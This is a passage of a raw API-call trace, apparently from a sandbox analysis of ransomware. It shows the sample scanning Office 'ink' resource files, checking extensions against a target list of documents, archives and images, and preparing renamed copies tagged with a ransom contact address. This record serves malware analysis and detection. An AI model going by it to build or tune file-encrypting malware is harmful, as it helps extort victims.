(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0280.059] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0280.059] CloseHandle (hObject=0x4a4) returned 1 [0280.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0280.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.320] lstrlenW (lpString=".doc") returned 4 [0280.320] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.320] lstrlenW (lpString=".docx") returned 5 [0280.320] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.320] lstrlenW (lpString=".pdf") returned 4 [0280.320] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.320] lstrlenW (lpString=".xls") returned 4 [0280.320] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.320] lstrlenW (lpString=".xlsx") returned 5 [0280.320] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.320] lstrlenW (lpString=".ppt") returned 4 [0280.320] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.320] lstrlenW (lpString=".zip") returned 4 [0280.320] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.320] lstrlenW (lpString=".rar") returned 4 [0280.320] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.320] lstrlenW (lpString=".bz2") returned 4 [0280.320] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.320] lstrlenW (lpString=".7z") returned 3 [0280.320] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.320] lstrlenW (lpString=".dbf") returned 4 [0280.320] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.320] lstrlenW (lpString=".1cd") returned 4 [0280.320] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.320] lstrlenW (lpString=".jpg") returned 4 [0280.321] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.321] lstrlenW (lpString=".doc") returned 4 [0280.321] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.321] lstrlenW (lpString=".docx") returned 5 [0280.321] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.321] lstrlenW (lpString=".pdf") returned 4 [0280.321] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.321] lstrlenW (lpString=".xls") returned 4 [0280.321] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.321] lstrlenW (lpString=".xlsx") returned 5 [0280.321] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.321] lstrlenW (lpString=".ppt") returned 4 [0280.321] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.321] lstrlenW (lpString=".zip") returned 4 [0280.321] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.321] lstrlenW (lpString=".rar") returned 4 [0280.321] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.321] lstrlenW (lpString=".bz2") returned 4 [0280.321] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.321] lstrlenW (lpString=".7z") returned 3 [0280.321] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.321] lstrlenW (lpString=".dbf") returned 4 [0280.321] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.321] lstrlenW (lpString=".1cd") returned 4 [0280.321] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0280.321] lstrlenW (lpString=".jpg") returned 4 [0280.321] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.322] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.322] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28 [0280.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0280.431] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3072) returned 1 [0280.431] CloseHandle (hObject=0x4b0) returned 1 [0280.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0280.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.679] lstrlenW (lpString=".doc") returned 4 [0280.679] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.679] lstrlenW (lpString=".docx") returned 5 [0280.679] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0280.679] lstrlenW (lpString=".pdf") returned 4 [0280.679] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.679] lstrlenW (lpString=".xls") returned 4 [0280.679] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.679] lstrlenW (lpString=".xlsx") returned 5 [0280.679] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0280.679] lstrlenW (lpString=".ppt") returned 4 [0280.679] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.679] lstrlenW (lpString=".zip") returned 4 [0280.679] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.679] lstrlenW (lpString=".rar") returned 4 [0280.679] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.679] lstrlenW (lpString=".bz2") returned 4 [0280.679] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.679] lstrlenW (lpString=".7z") returned 3 [0280.680] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.680] lstrlenW (lpString=".dbf") returned 4 [0280.680] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.680] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.681] lstrlenW (lpString=".1cd") returned 4 [0280.681] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.681] lstrlenW (lpString=".jpg") returned 4 [0280.681] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.681] lstrlenW (lpString=".doc") returned 4 [0280.681] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.681] lstrlenW (lpString=".docx") returned 5 [0280.681] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0280.681] lstrlenW (lpString=".pdf") returned 4 [0280.681] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.681] lstrlenW (lpString=".xls") returned 4 [0280.681] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.681] lstrlenW (lpString=".xlsx") returned 5 [0280.682] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0280.682] lstrlenW (lpString=".ppt") returned 4 [0280.682] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.682] lstrlenW (lpString=".zip") returned 4 [0280.682] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.682] lstrlenW (lpString=".rar") returned 4 [0280.682] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.682] lstrlenW (lpString=".bz2") returned 4 [0280.682] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.682] lstrlenW (lpString=".7z") returned 3 [0280.682] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.682] lstrlenW (lpString=".dbf") returned 4 [0280.682] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.682] lstrlenW (lpString=".1cd") returned 4 [0280.682] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85 [0280.682] lstrlenW (lpString=".jpg") returned 4 [0280.682] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.682] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.682] lstrlenW (lpString="mip.exe.mui") returned 11 [0280.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0281.039] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10752) returned 1 [0281.039] CloseHandle (hObject=0x4a8) returned 1 [0281.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0281.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.040] lstrlenW (lpString=".doc") returned 4 [0281.040] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.040] lstrlenW (lpString=".docx") returned 5 [0281.040] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0281.040] lstrlenW (lpString=".pdf") returned 4 [0281.040] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.040] lstrlenW (lpString=".xls") returned 4 [0281.040] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.040] lstrlenW (lpString=".xlsx") returned 5 [0281.040] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0281.040] lstrlenW (lpString=".ppt") returned 4 [0281.040] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.040] lstrlenW (lpString=".zip") returned 4 [0281.041] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.041] lstrlenW (lpString=".rar") returned 4 [0281.041] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.041] lstrlenW (lpString=".bz2") returned 4 [0281.041] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.041] lstrlenW (lpString=".7z") returned 3 [0281.041] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.041] lstrlenW (lpString=".dbf") returned 4 [0281.041] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.041] lstrlenW (lpString=".1cd") returned 4 [0281.041] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.041] lstrlenW (lpString=".jpg") returned 4 [0281.041] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.041] lstrlenW (lpString=".doc") returned 4 [0281.041] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.041] lstrlenW (lpString=".docx") returned 5 [0281.041] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0281.041] lstrlenW (lpString=".pdf") returned 4 [0281.041] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.041] lstrlenW (lpString=".xls") returned 4 [0281.041] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.041] lstrlenW (lpString=".xlsx") returned 5 [0281.041] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0281.041] lstrlenW (lpString=".ppt") returned 4 [0281.041] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.041] lstrlenW (lpString=".zip") returned 4 [0281.041] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.042] lstrlenW (lpString=".rar") returned 4 [0281.042] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.042] lstrlenW (lpString=".bz2") returned 4 [0281.042] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.042] lstrlenW (lpString=".7z") returned 3 [0281.042] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.042] lstrlenW (lpString=".dbf") returned 4 [0281.042] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.042] lstrlenW (lpString=".1cd") returned 4 [0281.042] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68 [0281.042] lstrlenW (lpString=".jpg") returned 4 [0281.042] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.042] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0281.042] lstrlenW (lpString="TipRes.dll.mui") returned 14 [0281.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.435] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=25088) returned 1 [0281.435] CloseHandle (hObject=0x4a4) returned 1 [0281.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0281.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.531] lstrlenW (lpString=".doc") returned 4 [0281.531] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.532] lstrlenW (lpString=".docx") returned 5 [0281.532] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.532] lstrlenW (lpString=".pdf") returned 4 [0281.532] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.532] lstrlenW (lpString=".xls") returned 4 [0281.532] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.532] lstrlenW (lpString=".xlsx") returned 5 [0281.532] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.532] lstrlenW (lpString=".ppt") returned 4 [0281.532] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.532] lstrlenW (lpString=".zip") returned 4 [0281.532] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.532] lstrlenW (lpString=".rar") returned 4 [0281.532] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.532] lstrlenW (lpString=".bz2") returned 4 [0281.532] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.532] lstrlenW (lpString=".7z") returned 3 [0281.532] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.532] lstrlenW (lpString=".dbf") returned 4 [0281.532] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.532] lstrlenW (lpString=".1cd") returned 4 [0281.532] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.532] lstrlenW (lpString=".jpg") returned 4 [0281.532] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.532] lstrlenW (lpString=".doc") returned 4 [0281.532] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.532] lstrlenW (lpString=".docx") returned 5 [0281.532] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.533] lstrlenW (lpString=".pdf") returned 4 [0281.533] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.533] lstrlenW (lpString=".xls") returned 4 [0281.533] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.533] lstrlenW (lpString=".xlsx") returned 5 [0281.533] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.533] lstrlenW (lpString=".ppt") returned 4 [0281.533] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.533] lstrlenW (lpString=".zip") returned 4 [0281.533] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.533] lstrlenW (lpString=".rar") returned 4 [0281.533] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.533] lstrlenW (lpString=".bz2") returned 4 [0281.533] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.533] lstrlenW (lpString=".7z") returned 3 [0281.533] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.533] lstrlenW (lpString=".dbf") returned 4 [0281.533] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.533] lstrlenW (lpString=".1cd") returned 4 [0281.533] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned 71 [0281.533] lstrlenW (lpString=".jpg") returned 4 [0281.533] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.533] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0281.533] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0281.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.617] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=10240) returned 1 [0281.617] CloseHandle (hObject=0x3d0) returned 1 [0281.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0281.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.618] lstrlenW (lpString=".doc") returned 4 [0281.618] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.618] lstrlenW (lpString=".docx") returned 5 [0281.618] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.618] lstrlenW (lpString=".pdf") returned 4 [0281.618] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.618] lstrlenW (lpString=".xls") returned 4 [0281.618] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.618] lstrlenW (lpString=".xlsx") returned 5 [0281.618] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.618] lstrlenW (lpString=".ppt") returned 4 [0281.618] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0281.618] lstrlenW (lpString=".zip") returned 4 [0281.618] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.618] lstrlenW (lpString=".rar") returned 4 [0281.618] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.619] lstrlenW (lpString=".bz2") returned 4 [0281.619] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 